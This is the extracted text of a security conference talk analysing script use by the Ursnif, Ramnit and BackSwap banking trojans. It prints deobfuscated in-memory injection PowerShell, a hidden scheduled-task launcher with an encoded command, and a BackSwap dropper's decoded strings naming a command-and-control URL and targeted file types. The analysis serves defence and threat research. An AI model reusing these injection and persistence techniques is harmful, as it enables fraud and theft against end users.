"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top Banking Trojans" - Ophir Harpaz & Or Safran

Revenge of The Script
Kiddies
Uses of Automated Scripts by
Top Banking Trojans

Agenda
● Financial Malware - Goals & Techniques
● Scripts in Today’s Banking Trojans
○ Ursnif (ISFB)
○ Ramnit
○ BackSwap
● Conclusions

Who We Are
Ophir Harpaz
Security Researcher @
Guardicore
@ophirharpaz
author of
https://begin.re
Or Safran
Senior Security
Researcher @
Proofpoint
@orsafr
Both formerly in Trusteer, IBM Security

Financial Malware - Concept
● Wait until an online banking session takes place
● Hijack the session
Note: target is the end user, not the bank!

The Goal - Money
● In-Session
○ Wire transfer initiation
○ IBAN/Account # Swap
● Account Take-Over (ATO)
○ Browser Fingerprinting
○ RATs

Financial Malware - Flow
● Infect the machine
● Gain control over the browser
● Perform desired actions
○ Inject code, visual elements, communication functionality
○ Redirect user to a fake website
● Profit

Infection
Most popular
method -
spam emails with
malicious
attachments / links

Persistence
Startup folder, registry keys, task scheduler…
You know the gig

Control over the Browser
Usually done by code injection into the
browser process & hooking of API functions

Attack
Web-Inject
Insert malicious code into the
original webpage’s source
Redirect
Redirect the user to a fake
website, tailor-made by the
attacker

"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top Banking Trojans" - Ophir Harpaz & Or Safran

Malware Configuration
The malware stores attacks in a configuration

Scripting in Today’s
Bankers

Background
● Well-known and widely-spread Banking Trojan
○ Source-code leaked
● To investigate its web-injects, we needed a
way to infect machines

Infection Attempts
clean
machine
machine with
configuration
run sample run sample

Our Goal - Infection
● We had:
○ Ursnif DLL
○ registry of infected machine
Infection fails - no web-injects in browser :(

Infection Script - Fool Ursnif
● Ursnif cares for SID (Security Identifier)
○ SID used as seed… ;)
● We wrote an infection script:
○ change the machine’s SID (SIDCHG)
○ “feed” the local registry
○ run the DLL
● ✅ Infected

Uh Oh...
● Ursnif decides to go “fileless” →
No DLL - just registry

Raw Powershell
function bnfrytqqcw {
[System.Convert]::FromBase64String($args[0]);
};
[byte[]] $hyxyftq =
bnfrytqqcw("6SvaAACGBgCkqZBcAAAAAAAAAADwACIgCwIIAADaAAAALg...AAAA");
function yjklopnn {
$kkc = bnfrytqqcw($args[0]);
[System.Text.Encoding]::ASCII.GetString($kkc);
};
iex(yjklopnn("DQokdHhhdj0iW0RsbEltcG9ydChgImtlcm5lbDMy...7DQo="));
iex(yjklopnn("DQokdWdyYmQ9ImRrdGZmZW1wZyI7aWYoJHVzZWRm...9fQ0K"));

What We Know
✅ function toIntArray {
};
[byte[]] $data =
toIntArray("6SvaAACGBgCkqZBcAAAAAAAAAADwACIgCwIIAADaAAAALg...AAAA");
✅ function toString {
$intArray = toIntArray($args[0]);
[System.Text.Encoding]::ASCII.GetString($intArray);
};
iex(toString("DQokdHhhdj0iW0RsbEltcG9ydChgImtlcm5lbDMy...7DQo="));
iex(toString("DQokdWdyYmQ9ImRrdGZmZW1wZyI7aWYoJHVzZWRm...9fQ0K"));

$data
[byte[]] $data =
… after Base64 decoding:

What We Know
};
✅ [byte[]] $payload =
};

iex #1

iex #1
iex(“$txav="[DllImport(`"kernel32`")]`npublic static extern IntPtr
GetCurrentThreadId();`n[DllImport(`"kernel32`")]`npublic static
extern IntPtr OpenThread(uint mnnfsjxl,uint quq,IntPtr
umtb);`n[DllImport(`"kernel32`")]`npublic static extern uint
QueueUserAPC(IntPtr plvridkgu,IntPtr ire,IntPtr
vvdbhcmmnva);`n[DllImport(`"kernel32`")]`npublic static extern void
SleepEx(uint ahw,uint lus);";$cfd=Add-Type -memberDefinition $txav -
Name 'pptch' -namespace Win32Functions -
passthru;$pjovfxnn="unkua";$vfyj="[DllImport(`"kernel32`")]`npublic
static extern IntPtr
GetCurrentProcess();`n[DllImport(`"kernel32`")]`npublic static extern
IntPtr VirtualAllocEx(IntPtr xqfl,IntPtr jxmfwqfmtio,uint kkqvje,uint
tuautkhbqn,uint hgbbpqulgva);";$aholdl=Add-Type -memberDefinition
$vfyj -Name 'robpgotb' -namespace Win32Functions -passthru;”));

iex #1
$txav = "[DllImport("kernel32")] public static extern IntPtr
GetCurrentThreadId();
[DllImport("kernel32")] public static extern IntPtr
OpenThread(uint mnnfsjxl,uint quq,IntPtr umtb);
[DllImport("kernel32")] public static extern uint
QueueUserAPC(IntPtr plvridkgu,IntPtr ire,IntPtr vvdbhcmmnva);
[DllImport("kernel32")] public static extern void
SleepEx(uint ahw,uint lus);";
$cfd = Add-Type -memberDefinition $txav -Name 'pptch' -namespace
Win32Functions -passthru;

iex #1 - cont.
$vfyj="[DllImport("kernel32")] public static extern IntPtr
GetCurrentProcess();
[DllImport("kernel32")] public static extern IntPtr
VirtualAllocEx(IntPtr xqfl,IntPtr jxmfwqfmtio,uint kkqvje,uint
tuautkhbqn,uint hgbbpqulgva);";
$aholdl = Add-Type -memberDefinition $vfyj -Name 'robpgotb' -
namespace Win32Functions -passthru;”));

What We Know
};
✅ [byte[]] $payload =
};
✅ iex(toString("DQokdHhhdj0iW0RsbEltcG9ydChgImtlcm5lbDMy...7DQo="));

iex #2

iex #2
iex(“if($usedf=$aholdl::VirtualAllocEx($aholdl::GetCurrentProcess(),0
,$hyxyftq.Length,12288,64)){[System.Runtime.InteropServices.Marshal]:
:Copy($hyxyftq,0,$usedf,$hyxyftq.length);if($cfd::QueueUserAPC($usedf
,$cfd::OpenThread(16,0,$cfd::GetCurrentThreadId()),$usedf)){$cfd::Sle
epEx(3,1);}}”);

iex #2
if ($buffer = VirtualAllocEx(GetCurrentProcess(), 0, $payload.Length,
0x3000, 0x40)) {
Copy($payload, 0, $buffer, $payload.length);
if (QueueUserAPC($buffer,
OpenThread(0x10, 0, GetCurrentThreadId()),
$buffer)) {
SleepEx(3, 1);
}
}

PS Script - Summary
● Adds classes to the Powershell session to
enable calling Windows API functions
● Allocates, writes and executes code in the
memory of the current process’s address space

Scheduled Task
forfiles /p C:Windowssystem32 /s /c
"cmd /c @file -ec
aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwA
SQBkAGUAbgB0AGkAdABpAGUAcwBcAHsAMwA5AEUA
QwAyAEUARQAxAC0ANgBGADIAMAAtAEUAMgBEADMA
LQA2AEMAQgA5AC0AMwBEADYAMgAxADQAQgAzAEEA
OAA0ADEAfQAnACkALgBTAA==" /m p*ll.*e

Running The Script
Powershell.exe
“iex (gp 'HKCU:Identities<SID>').S”

Why Script?
● Fileless malware = stealthier malware
○ Evades AVs scanner modules
● Suspicious activity is done from within a
“legitimate” process

Windows DPAPI
(Data Protection API)
● Simple cryptographic API, since windows 2000
● Enables symmetric encryption of any kind of
data
● 2 different scopes (CurrentUser and
LocalMachine)
● Sounds promising

DPAPI mostly sounds promising
● In the words of Benjamin Delpy:
“Friends don't let friends save passwords with
DPAPI; You know it's ~like cleartext passwords?”
● Many applications use it for legit reasons, e.g.
Chrome
● Has a decryptor written by Nirsoft
mimikatz # coffee
( (
) )
.______.
| |]
/
`----'

LOLBAS
● Living-Off-The-Land Binaries and Scripts (and also
Libraries)
● Coined by Christopher Campbell & Matt Graeber
● Repo currently
has 96 binaries

AMSI
Antimalware Scan Interface
● Part of Windows 10
● interface standard that allows apps to integrate
with antimalware products
● Bypassed few times, by CyberArk using
memory patching

Ramnit - Background
● Operating since 2010, taken down at 2015
● New versions released ~weekly
● Camellia - Latest known financial module
● 100K Machines in two months
● HVNC, keylogger, screenlog, cookie-grabber,
form-grabber, MITB injections and more

It all starts with an “innocent looking”
scheduled task
It’s well known that every randomly generated
name at the scheduled task list is legit

Ramnit’s Folder
1. .vbs
2. .ps1
3. .txt

The .txt file...
… is exactly what you expect it to be - sh**

The Smoking Gun
# This is still GetProcAddress, but
instead of PowerShell converting the
string to a pointer, you must do it
yourself
This doesn't look like “yourself”, or really bad opsec
Google yielded Invoke-ReflectivePEInjection.ps1

Architecture
Scheduled Task
VB
Script
.txtPowershell
.exe
runs
reads,
decrypts
and runs

Why Scripts?
● Multi-purpose
○ Decryption of .txt file
○ AMSI bypass
○ Code injection
● Ramnit’s Specialties
○ Multiple languages
○ Complex architecture

BackSwap
● First spotted in March 2018
● Polish targets → Spanish banks
● Simple yet pretty cool techniques for injection
and credentials theft

BackSwap is COOL
● Greatly detailed by Michal Poslusny & Peter
Kalnai and Itay Cohen

Once Upon a Time
● Fraud reported
● End-user shared the sample with us
● We got these:

This is not a sample.
● What is it?
● Quick-and-dirty static analysis

What are These?
● eight .jse files - JavaScript Encoded
● ScrDec to the rescue

Only 60k * 8 =
480,000
LoCs to read

Brief Look
two unescape functions - called thousands of times
function Sdercfgvbhyj(d, f) {
return unescape(d);
};
function Dertpolog(q, w, y) {
return unescape(y);
};

Escape the unescape
Let’s accumulate their return values
accumulatedString = ‘’;
function Sdercfgvbhyj(d, f) {
accumulatedString += unescape(d);
return unescape(d);
};
function Dertpolog(q, w, y) {
accumulatedString += unescape(d);
return unescape(y);
};
...
WScript.Echo(accumulatedString);

Escape the unescape
we got:
c:UsersElizabethDesktop>cscript cert.js
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
EnumeratorActiveXObjectWScriptScriptFullNameGetObjectScripting.FileSystemObjectC
reateObjectWScript.ShellADODB.StreamShell.ApplicationMsxml2.ServerXMLHTTPfromCha
rCodeExpandEnvironmentStrings%USERPROFILE%fromCharCodefromCharCodeExpandEnvironm
entStrings%TEMP%floorrandomNameSpacecert.jse&pref=tysonhttps://185.209.160.50/ba
tya1/footer.php?oxx=fo10MZPOSTSelfPath2050000-f -decode 4294967295Drives*.doc
*.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb *.wps *.xlk
*.ppt *.pst *.dwg *.dxf *.dxg *.wpdLafamiliaestodo.txt

Wrapping Up
● This is actually the BackSwap dropper, dubbed
Ostap1 or Nemucod
● BackSwap recently moved to Powershell
instead of JSE2
[1] Ostap analysis by Cert.pl
[2] CheckPoint Research tweet

CONclusions
● Bankers tend to move functionality from
binaries to scripts
○ Infection (download)
○ Execution
○ Encryption
● Why?
○ AV evasion
○ Laziness
○ It works

Questions?
@OphirHarpaz
@OrSafr

IOCs
Ursnif 4265E7A393B96AE4E7302541419CA0A5
Ramnit B23F633D0A64E2E44E546558C9C42C8F
Backswap 0A5D0AAD2A352B047DABECE87DCAF5D2

"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top Banking Trojans" - Ophir Harpaz & Or Safran

More Related Content

What's hot (20)

Similar to "Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top Banking Trojans" - Ophir Harpaz & Or Safran (20)

Recently uploaded (20)

"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top Banking Trojans" - Ophir Harpaz & Or Safran